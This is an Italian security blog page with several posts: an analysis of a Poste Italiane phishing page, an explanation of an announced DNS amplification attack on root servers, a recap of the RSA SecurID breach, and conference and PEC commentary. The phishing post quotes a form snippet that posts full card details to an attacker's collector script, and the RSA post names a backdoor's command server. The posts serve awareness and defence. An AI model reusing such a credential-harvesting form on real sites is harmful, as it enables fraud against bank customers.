Il taccuino di Armando Leotta Rotating Header Image

Clusit

Vogliamo guardare in faccia questo #phishing? Ancora #poste

Ancora una volta gli utenti di Poste Italiane sono le vittime di un attacco di phishing.

Una mail, una delle tante che arrivano e che non sono state rilevate dai sistemi di sicurezza?

Non propriamente “una delle tante”.

Guardiamola insieme: ecco come si presenta:

NOTA: tutti i link puntano a poste.it

NOTA: tutti i link puntano a poste.it (cliccare per ingrandire)

Perchè è “ben fatta”? Perchè tutti i link puntano al sito ufficiale di poste.it.

Ripeto per i lettori frettolosi.

Tutti i link puntano a poste.it: il login in alto a destra, il registrati, i banner in basso sia a sinistra che a destra.

Tutti.

Cosa non torna?

Per accedere ai servizi online nessuno si sognerebbe di chiedere i dati di carta di credito al completo (fullz, ndr)!

E’ il caso di controllare il sorgente di questo simpatico htm.

Bingo!

Vedete quel familiarissimo tasto “Accedi”?

_______<stralcio>____

Accedi ai Servizi Online </strong></p>

<form name=”loginform1″ method=”POST” onsubmit=”javascript: return logintest(this);” action=”http://www.XXXXXXXXXX.com/.XXXXXXXX/done.php“>

_______</stralcio>____

Che meravigliosa action!

Pertanto, chi inserisce le credenziali (leggasi i propri dati completi della carta di credito postepay / bancoposta comprensivo di cvv) per “accedere” ai servizi contatta tramite l’azione quel done.php.

Bene.

Verifichiamo cosa fa questo delizioso quanto inaspettato php.

Innanzitutto notiamo se c’è dell’altro sul sito per capire anche la dimensione del fenomeno.

Qui l’attaccante, per probabile dimenticanza o per poter usare la funzionalità con qualche bot, lascia la cartella XXXXXXXX con i permessi per il listing.

Quello che trovo è decisamente un arsenale di tool di attacchi e di spam. Il tutto sfruttabile via web sfruttando le risorse del malcapitato owner del sito web opportunamente bucato.

E non solo.

Trovo un file che non vorrei avere mai trovato.

Tornando sulla pagina incriminata,  scrivendo dei dati finti nella form e completando l’operazione cliccando su “Accedi” si ha l’ennesima triste evidenza: sul server XXXXXX un file è stato appena modificato.

E’ un innocente file di testo che contiene i dati delle carte di credito di tutti gli ignari ed ingenui malcapitati clienti di Postepay/Bancoposta, comprensi quelli fittizi appena inseriti come test.

Ovviamente ho rimosso il nome reale del sito in quanto è ancora raggiungibile.

Mentre vi scrivo ho già effettuato la segnalazione sul sito della Polizia di Stato.

Brutta storia.

Spero serva a riflettere.

#awareness is the key.

_____
Clusit

Operation Global Blackout: Anonymous e l’annunciato DNS DDoS amplification attack

Il 31 marzo è vicino, decisamente prossimo.

Ma andiamo con ordine schematizzando e contestualizzando scenari di rischio, impatti e probabilità.

 

Minaccia

A febbraio di quest’anno il gruppo Anonymous ha diffuso la notizia della pianificazione di un attacco a tutti i root DNS server (13 in totale).

A tale attacco è stato dato il nome di Operation Global Blackout ed è stato fissato per il 31 marzo 2012.

 

Come funziona

Il DNS serve a tradurre i nomi delle risorse internet che si vuole raggiungere in indirizzi IP utili ai fini della raggiungibilità della risorsa stessa.

 Il sistema DNS ha una struttura gerarchica in cima alla quale risiedono i root server (target del supposto attacco) che contengono le informazioni di dove ritrovare i server responsabili per il successivo livello gerarchico (ad esempio, .com, .org, it, etc).

A loro volta, questi server ospitano le informazioni relative ai server dns responsabili per il successivo livello gerarchico (ad esempio google.com) e così via fino ad arrivare alla nome della risorsa richiesta (ad esempio www.google.com).

 L’attacco ipotizzato sfrutta una peculiarità del sistema descritto.

Al fine di raggiungere l’obiettivo di fermare globalmente la risoluzione dei nomi Anonymous punterebbe ad una saturazione delle risorse dei server oggetto dell’attacco tramite una generazione massiva ed amplificata di richieste di risoluzioni (DNS Amplification Attack).

Il tool (chiamato ramp) è da tempo disponibile in rete e consente un fattore di amplificazione fino a  73 (cioè quanto ricevuto dal sistema target è fino a 73 volte più grande della richiesta originaria). La differenza tra la quantità di dati generati meno la quantità necessaria a generarla è chiamata appunto amplificazione dell’attacco.

 

DNS amplification attack

Clicca per ingrandire

Ogni richiesta effettuata al DNS server (*) include un indirizzo sorgente al quale la risposta deve essere inviata.

Per questioni storiche e di performance tale richiesta avviene con protocollo connectionless (UDP) pertanto può essere soggetta a spoofing.

 

Infatti, il tool suggerito da Anonymous prevede l’alterazione dell’IP sorgente in modo da indurre il DNS server a restituire l’informazione richiesta non al vero destinatario (attaccante) ma ad altri (target dell’attacco).

Fattori critici in caso di attacco massivo:

1)       i dns server utilizzati per perpetrare l’attacco saranno via via saturati dalle connessioni entranti. Le performance di tali infrastrutture si degraderanno fino, potenzialmente, al collasso;

2)       Tali server consegneranno le risposte alle richieste ai root server congestionandoli;

3)       Il traffico dati attraverserà le dorsali IP e ciò causerà una saturazione delle risorse dei provider e degli upstream interessati fino al dominio target dell’attacco;

4)       Le performance dell’infrastruttura target dell’attacco subirà un forte degrado

 Se a questi fattori si aggiunge la possibilità che l’attacco possa essere sferrato utilizzando varie botnet lo scenario di rischio diventa decisamente più critico.

Potenziale impatto

Se l’attacco dovesse riuscire contro tutti i root server tutti i servizi basati su Internet avrebbero un fermo.

A meno di sistemi di cache, infatti, le richieste al root dns sarebbero talmente rallentate da andare in timeout a causa dell’attacco.

Nota: l’attacco dovrebbe avere caratteristiche di durata e portata tali da rendere inaccessibili tutti i root server per il tempo sufficiente ad invalidare le risoluzioni già presenti nei sistemi di cache DNS

 

Probabilità di successo

 A mio avviso, basse.

In molti si stanno chiedendo la reale probabilità di successo dell’attacco.

Anche tra gli addetti ai lavori le opinioni sono diverse.

Molti propendono per una mera azione intimidatoria e pubblicitaria da parte di Anonymous senza alcun tipo di velleità reale di creare disservizi.

In linea di massima, per svariati tecnicismi tra cui anche i vari sistemi di cache, il completo blackout è poco verosimile.

Quello che preoccupa gli esperti di sicurezza in caso di attacco massivo è rappresentato dall’imprevista mole di traffico “anomalo” (tra l’altro si tratta di una richiesta tramite un tool modificato ad hoc, non di richieste standard) che può saturare e collassare a macchia di leopardo le risorse a vario titolo coinvolte.

Questo scenario diventa critico se l’attaccante potrà disporre di botnet significative: in questo caso la probabilità di saturazione delle risorse sarà sensibilmente maggiore.

Contromisure

Nel lungo termine sicuramente adottare DNSSEC; nell’immediato verificare che il proprio DNS non sia un open resolver.

Per il resto, per gli addetti ai lavori, alzare il livello d’attenzione, di monitoraggio e di presidio: non è scolpito nella pietra che non possano “abbassare” il target e creare problemi alle tante appetibili infrastrutture ICT.

C’è parecchio hype sulla notizia e non è escluso che l’ottenuta co-partecipazione, volontaria o meno che sia, possa essere sfruttata per un target meno velleitario ma più alla portata.

 

 

________

(*) Sebbene tale attacco richieda la possibilità di poter disporre di un open resolver, di un dns server cioè in grado di accettare delle richieste ricorsive da parte di utenti non locali e che tale configurazione sia stata ampiamente criticata per motivi di sicurezza, ad oggi, non è affatto difficile trovare ed utilizzare un server in questa configurazione.

Vedi  http://www.us-cert.gov/reading_room/DNS-recursion033006.pdf
_____
Clusit

Attacco RSA: dettagli e riflessioni – How RSA was breached –

Tutti si ricorderanno dell’attacco (“extremely sophisticated cyberattack“) subito dal colosso RSA lo scorso marzo (qui la lettera aperta ai propri clienti da parte RSA).

Tutto faceva supporre che eravamo di fronte ad un nuovo APT, un advanced persistent threat ai danni della società che fa della sicurezza il proprio core business con organizzazioni, agenzie governative ed istituzioni di tutto il mondo.

Un APT attack che si conclude sfruttando uno zero-day exploit relativo ad una vulnerabilità di Adobe Flash.

The email was crafted well enough to trick one of the employees to retrieve it from their Junk mail folder, and open the attached excel file. It was a spreadsheet titled “2011 Recruitment plan.xls.(*)

(*) Anatomy of an attack, RSA blog

In un primo momento l’allarme sembrava essere rientrato e che nessuno dei clienti RSA era a rischio.

Dopo qualche mese (fine maggio)  la Lockheed Martin (U.S. Defence contractor) denunciava il tentativo di intromissione ai propri sistemi tramite l’utilizzo di chiavi duplicate generate dal SecurID RSA.

Dopo qualche giorno, è la volta di un altro gigante della difesa americana. Ecco quanto si legge su wired:

“L-3 Communications has been actively targeted with penetration attacks leveraging the compromised information,” read an April 6 e-mail from an executive at L-3’s Stratus Group to the group’s 5,000 workers, one of whom shared the contents with Wired.com on condition of anonymity.

Dopo qualche giorno anche la Northrop Grumman disabilita l’accesso remoto senza preavviso lasciando trasparire un ennesimo caso di intrusione.

A questo punto, con una seconda lettera aperta, RSA ammette la compromissione ed il furto di informazioni riservate (e l’utilizzo delle informazioni carpite nell’attacco alla Lockheed, ndr)

“Against this backdrop of increasingly frequent attacks, on Thursday, June 2, 2011, we were able to confirm that information taken from RSA in March had been used as an element of an attempted broader attack on Lockheed Martin, a major U.S. government defense contractor. Lockheed Martin has stated that this attack was thwarted.”

e l’imminente sostituzione dei token SecurID emessi.

Fino a qui, specialmente per gli addetti ai lavori, è solo un riepilogo, spero gradito, di una vicenda molto grave sulla quale si è detto relativamente poco:

un APT attack, un “extremely sophisticated attack” che si conclude sfruttando uno zero-day exploit relativo ad una vulnerabilità di Adobe Flash.

Manca un capitolo: sappiamo che, lato client, tutto è partito da una mail…

“The email was crafted well enough to trick one of the employees to retrieve it from their Junk mail folder, and open the attached excel file. It was a spreadsheet titled “2011 Recruitment plan.xls.”(*)

(*) Anatomy of an attack, RSA blog

Purtroppo non sono stati forniti da RSA ulteriori dettagli su questa “crafted well enough” email.

Alla F-Secure sono riusciti a risalire alla mail ed al file incriminato. Come?

Evidentemente qualcuno alla EMC, la divisione di RSA oggetto dell’attacco, ha voluto effettuare una scansione online del malware effettuando un upload dello stesso verso VirtusTotal, un online virus scanning site.

Come specificato nelle condizioni d’uso di VirusTotal il file è stato condiviso con le industrie del settore per approfondire e condividere la conoscenza di un potenziale nuovo malware.

Dunque quanto ha tenuto in apprensione RSA ed i suoi clienti era in possesso dei maggiori vendor di sicurezza informatica benché a loro insaputa.

Ecco quanto ricostruisce F-Secure:

Upload effettuato il 19 marzo come file-1994209_msg
Upload effettuato il 19 marzo come file-1994209_msg

Ed ecco come appare la well enough crafted email:

2011 recruitment plan
2011 recruitment plan

La mail è stata oggetto di spoofing e sembra inviata dal sito di recruiting beyond.com ed è stata inviata ad un impiegato/utente @emc.com ed in copia altri tre indirizzi analoghi.

Aprendo l’allegato:

Allegato xls incriminato
Allegato xls incriminato

Quella checkbox visibile è un embedded flash object che sfrutta quella che era una vulnerabilità non ancora sanata (per quale motivo excel supporti tali oggetti embedded merita tutta un’altra discussione, ndr).

L’oggetto flash usa la CVE-2011-0609 per eseguire del codice malevolo ed installa quella che si scoprirà essere identificata come Poisin Ivy backdoor. Al termine dell’infezione, il codice chiude excel mentre la Poison contatta il suo server

su good.mincesur.com (il dominio mincesur.com è stato già usato per attacchi simili, ndr).

mincesur.com
mincesur.com

Qui un video di cosa succede all’apertura del file xls incriminato:

Riflessioni

La mail, a metà strada tra il phishing e lo scamming, fa chiaramente uso di ingegneria sociale ma non mi sembra si possa considerare well enogh crafted email nè un extremely sophisticated attack.

Sebbene la vulnerabilità sfruttata era una zero-day (quindi non esisteva, in quel periodo, un’apposita patch) risulta poco accettabile e sostenibile che in colossi che fanno della sicurezza altrui il proprio core business non implementino soluzioni parallele infrastrutturali ed applicative a supporto di casi del genere.

Cos’è sofisticato?

Sicuramente lo è l’exploit per sfruttare la vulnerabilità flash ed innoculare la backdoor. Quest’ultima, per altro, non era tra le più sofisticate.

 Il target, sicuramente: andare a procurarsi i codici direttamente alla fonte per poi attaccare la Lockheed Martin, ad esempio, è molto sofisticato, ambizioso e preoccupante.

La componente APT?

Una volta effettuata la connessione l’attaccante ha accesso remoto completo non solo alla postazione target ma a tutte le risorse aziendali condivise a cui l’impiegato target (le sue credenziali, ndr) avevano accesso (dischi remoti, server intermedi, sistemi documentali, collaboration, etc…).

Non stupirebbe pertanto che gli attaccanti possano avere usato e monitorato per diverso tempo le attività del target fino all’ottenimento dell’accesso ai dati SecurID cercati.

Conclusioni

Non è accettabile che una zero-day possa compromettere strutture di questo livello così come non è pensabile di basare la propria sicurezza su sistemi sempre up-to-date (è praticamente impossibile).

Nello specifico sembra assurdo ma anche in questo caso l’anello debole si colloca tra il monitor e la spalliera della sedia.

_____
Clusit 

Security Summit 2011: opinioni, riflessioni e tendenze #securitysummit2011

Logo Security SummitDopo il live twitting della seconda giornata del Security Summit 2011 (#SecuritySummit2011) a Roma in molti mi hanno chiesto opinioni, pareri, sensazioni e tendenze in ambito sicurezza.

Questa volta non voglio entrare nei dettagli dei contenuti della conferenza ma vorrei fornire una chiave di lettura di un po’ più alto respiro possibilmente utile a chi non ha potuto partecipare e per chi ha voglia di confrontare le opinioni.

Gli argomenti trattati, come al solito in questa maratona di due giorni che è giunta alla terza edizione capitolina, sono stati tanti e spaziano dalla privacy ai proof of concept di attacchi 0-day, dalla mobilità e dalle botnet di dispositivi mobili ai sistemi documentali il tutto chiaramente nell’ottica del mantenimento della sicurezza informativa.

Anche a seguito di confronti informali e tavole rotonde con ex-colleghi, addetti ai lavori ed i tanti amici relatori e soci clusit sono emersi alcuni fili conduttori in entrambe le giornate: governance, intelligence e commitment.

Anche se i nomi di Sony, di RSA e di Poste Italiane non sono mai stati fatti ufficialmente difatto tutti gli interventi sottolineavano aspetti riconducibili alle tre debacle del momento.

Se da una parte si sente l’esigenza di monitorare con più assiduità e proattività le nuove minacce (cybercrime, APT e Information Leakage) dall’altra sembra che non sempre ci siano dei processi di governance che raccordino e governino nella loro interezza e ramificazioni tutti i processi afferenti la sicurezza informativa in azienda.

Inoltre in molti casi, nonostante il livello d’attenzione riconosciuto come necessario, è stato evidenziato anche un periodo in controtendenza rispetto agli investimenti ed al commitment sulla sicurezza delle informazioni in azienda (cfr. Return On Security Investments, ROSI, pdf v2).

La sensazione diffusa anche “a microfoni spenti” è che siamo di fronte ad un periodo di stasi interlocutoria, di attesa che, chiaramente, non trova analogia nei ritmi di crescita ed affinamento degli attacchi da parte del cybercrime.

Questo sbilanciamento potrebbe creare un gap di contromisure tecnologiche e, soprattutto, organizzative.

Forse, dovremmo rivedere gli investimenti nel settore sicurezza concentrandoli sulla pianificazione strategica e sul governo dei processi perché puntare solamente sugli end-point trasferisce il rischio su un fornitore, su un contratto ma il rischio vero ti resta ancora all’interno, proprio a ridosso del core business dell’azienda.

_____
Clusit

Aruba, il servizio PEC e iscrizione elenco pubblico dei gestori PEC presso il CNIPA

I vari interrogativi degli scorsi giorni in merito al downtime di Aruba mi hanno portato a rivedere la Circolare 24 novembre 2005, n. CNIPA/CR/49 nella quale sono specificate leModalità per la presentazione delle domande di iscrizione nell’elenco pubblico dei gestori di posta elettronica certificata”.

Piano di sicurezza, assicurazione a copertura di danni cagionati a terzi, “integrità di dati, indicazione della procedura da seguire al verificarsi di possibili guasti di grande rilevanza che determinino l’arresto del servizio (occorre precisare i tipi di guasti per i quali sono state previste delle soluzioni: calamità naturali, dolo, indisponibilità prolungata del sistema, o altri eventi) e descrizione delle soluzioni proposte per farvi fronte, con informazioni dettagliate circa i tempi e le modalità previste per il ripristino, analisi dei rischi, procedure per la gestione dei rischi  S O L O a citare alcuni requisiti tecnico-organizzativi previsti dalla normativa per l’accreditamento presso il CNIPA (iscrizione nell’elenco pubblico dei gestori PEC).

A giudicare che Aruba PEC è un gestore PEC iscritto a tale elenco TUTTI i requisiti specificati nella circolare (quanto specificato va a corredo della domanda di iscrizione, ndr) sono sicuramente soddisfatti.

Ma allora c’è qualcosa che non ho capito…